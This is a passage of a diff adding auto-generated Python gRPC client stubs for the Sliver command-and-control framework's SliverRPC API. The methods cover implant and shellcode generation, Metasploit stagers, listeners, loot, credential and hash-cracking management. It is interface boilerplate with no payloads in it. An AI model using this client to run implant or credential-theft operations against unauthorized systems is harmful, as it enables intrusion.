'/rpcpb.SliverRPC/CancelBeaconTask', + clientpb_dot_client__pb2.BeaconTask.SerializeToString, + clientpb_dot_client__pb2.BeaconTask.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def MonitorStart(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MonitorStart', + commonpb_dot_common__pb2.Empty.SerializeToString, + commonpb_dot_common__pb2.Response.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def MonitorStop(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MonitorStop', + commonpb_dot_common__pb2.Empty.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetJobs(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetJobs', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Jobs.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def KillJob(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/KillJob', + clientpb_dot_client__pb2.KillJobReq.SerializeToString, + clientpb_dot_client__pb2.KillJob.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StartMTLSListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartMTLSListener', + clientpb_dot_client__pb2.MTLSListenerReq.SerializeToString, + clientpb_dot_client__pb2.MTLSListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StartWGListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartWGListener', + clientpb_dot_client__pb2.WGListenerReq.SerializeToString, + clientpb_dot_client__pb2.WGListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StartDNSListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartDNSListener', + clientpb_dot_client__pb2.DNSListenerReq.SerializeToString, + clientpb_dot_client__pb2.DNSListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StartHTTPSListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartHTTPSListener', + clientpb_dot_client__pb2.HTTPListenerReq.SerializeToString, + clientpb_dot_client__pb2.HTTPListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StartHTTPListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartHTTPListener', + clientpb_dot_client__pb2.HTTPListenerReq.SerializeToString, + clientpb_dot_client__pb2.HTTPListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StartTCPStagerListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartTCPStagerListener', + clientpb_dot_client__pb2.StagerListenerReq.SerializeToString, + clientpb_dot_client__pb2.StagerListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StartHTTPStagerListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartHTTPStagerListener', + clientpb_dot_client__pb2.StagerListenerReq.SerializeToString, + clientpb_dot_client__pb2.StagerListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def LootAdd(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootAdd', + clientpb_dot_client__pb2.Loot.SerializeToString, + clientpb_dot_client__pb2.Loot.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def LootRm(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootRm', + clientpb_dot_client__pb2.Loot.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def LootUpdate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootUpdate', + clientpb_dot_client__pb2.Loot.SerializeToString, + clientpb_dot_client__pb2.Loot.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def LootContent(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootContent', + clientpb_dot_client__pb2.Loot.SerializeToString, + clientpb_dot_client__pb2.Loot.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def LootAll(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/LootAll', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.AllLoot.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Creds(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Creds', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Credentials.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CredsAdd(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CredsAdd', + clientpb_dot_client__pb2.Credentials.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CredsRm(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CredsRm', + clientpb_dot_client__pb2.Credentials.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CredsUpdate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CredsUpdate', + clientpb_dot_client__pb2.Credentials.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetCredByID(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetCredByID', + clientpb_dot_client__pb2.Credential.SerializeToString, + clientpb_dot_client__pb2.Credential.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetCredsByHashType(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetCredsByHashType', + clientpb_dot_client__pb2.Credential.SerializeToString, + clientpb_dot_client__pb2.Credentials.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetPlaintextCredsByHashType(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetPlaintextCredsByHashType', + clientpb_dot_client__pb2.Credential.SerializeToString, + clientpb_dot_client__pb2.Credentials.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CredsSniffHashType(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CredsSniffHashType', + clientpb_dot_client__pb2.Credential.SerializeToString, + clientpb_dot_client__pb2.Credential.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Hosts(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Hosts', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.AllHosts.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Host(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Host', + clientpb_dot_client__pb2.Host.SerializeToString, + clientpb_dot_client__pb2.Host.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def HostRm(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/HostRm', + clientpb_dot_client__pb2.Host.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def HostIOCRm(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/HostIOCRm', + clientpb_dot_client__pb2.IOC.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Generate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Generate', + clientpb_dot_client__pb2.GenerateReq.SerializeToString, + clientpb_dot_client__pb2.Generate.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GenerateExternal(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateExternal', + clientpb_dot_client__pb2.ExternalGenerateReq.SerializeToString, + clientpb_dot_client__pb2.ExternalImplantConfig.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GenerateExternalSaveBuild(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateExternalSaveBuild', + clientpb_dot_client__pb2.ExternalImplantBinary.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GenerateExternalGetImplantConfig(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateExternalGetImplantConfig', + clientpb_dot_client__pb2.ImplantConfig.SerializeToString, + clientpb_dot_client__pb2.ExternalImplantConfig.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def BuilderRegister(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_stream(request, target, '/rpcpb.SliverRPC/BuilderRegister', + clientpb_dot_client__pb2.Builder.SerializeToString, + clientpb_dot_client__pb2.Event.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def BuilderTrigger(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/BuilderTrigger', + clientpb_dot_client__pb2.Event.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Builders(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Builders', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Builders.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackstationRegister(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_stream(request, target, '/rpcpb.SliverRPC/CrackstationRegister', + clientpb_dot_client__pb2.Crackstation.SerializeToString, + clientpb_dot_client__pb2.Event.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackstationTrigger(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackstationTrigger', + clientpb_dot_client__pb2.Event.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackstationBenchmark(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackstationBenchmark', + clientpb_dot_client__pb2.CrackBenchmark.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Crackstations(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Crackstations', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Crackstations.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackTaskByID(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackTaskByID', + clientpb_dot_client__pb2.CrackTask.SerializeToString, + clientpb_dot_client__pb2.CrackTask.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackTaskUpdate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackTaskUpdate', + clientpb_dot_client__pb2.CrackTask.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackFilesList(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFilesList', + clientpb_dot_client__pb2.CrackFile.SerializeToString, + clientpb_dot_client__pb2.CrackFiles.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackFileCreate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileCreate', + clientpb_dot_client__pb2.CrackFile.SerializeToString, + clientpb_dot_client__pb2.CrackFile.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackFileChunkUpload(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileChunkUpload', + clientpb_dot_client__pb2.CrackFileChunk.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackFileChunkDownload(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileChunkDownload', + clientpb_dot_client__pb2.CrackFileChunk.SerializeToString, + clientpb_dot_client__pb2.CrackFileChunk.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackFileComplete(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileComplete', + clientpb_dot_client__pb2.CrackFile.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CrackFileDelete(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CrackFileDelete', + clientpb_dot_client__pb2.CrackFile.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Regenerate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Regenerate', + clientpb_dot_client__pb2.RegenerateReq.SerializeToString, + clientpb_dot_client__pb2.Generate.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ImplantBuilds(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ImplantBuilds', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.ImplantBuilds.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def DeleteImplantBuild(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/DeleteImplantBuild', + clientpb_dot_client__pb2.DeleteReq.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Canaries(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Canaries', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Canaries.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GenerateWGClientConfig(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateWGClientConfig', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.WGClientConfig.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GenerateUniqueIP(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GenerateUniqueIP', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.UniqueWGIP.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ImplantProfiles(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ImplantProfiles', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.ImplantProfiles.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def DeleteImplantProfile(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/DeleteImplantProfile', + clientpb_dot_client__pb2.DeleteReq.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def SaveImplantProfile(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/SaveImplantProfile', + clientpb_dot_client__pb2.ImplantProfile.SerializeToString, + clientpb_dot_client__pb2.ImplantProfile.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def MsfStage(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MsfStage', + clientpb_dot_client__pb2.MsfStagerReq.SerializeToString, + clientpb_dot_client__pb2.MsfStager.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ShellcodeRDI(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ShellcodeRDI', + clientpb_dot_client__pb2.ShellcodeRDIReq.SerializeToString, + clientpb_dot_client__pb2.ShellcodeRDI.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetCompiler(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetCompiler', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Compiler.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ShellcodeEncoder(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ShellcodeEncoder', + clientpb_dot_client__pb2.ShellcodeEncodeReq.SerializeToString, + clientpb_dot_client__pb2.ShellcodeEncode.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ShellcodeEncoderMap(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ShellcodeEncoderMap', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.ShellcodeEncoderMap.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def TrafficEncoderMap(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/TrafficEncoderMap', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.TrafficEncoderMap.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def TrafficEncoderAdd(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/TrafficEncoderAdd', + clientpb_dot_client__pb2.TrafficEncoder.SerializeToString, + clientpb_dot_client__pb2.TrafficEncoderTests.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def TrafficEncoderRm(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/TrafficEncoderRm', + clientpb_dot_client__pb2.TrafficEncoder.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Websites(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Websites', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Websites.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Website(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Website', + clientpb_dot_client__pb2.Website.SerializeToString, + clientpb_dot_client__pb2.Website.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WebsiteRemove(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WebsiteRemove', + clientpb_dot_client__pb2.Website.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WebsiteAddContent(request, + target, + options=(), + 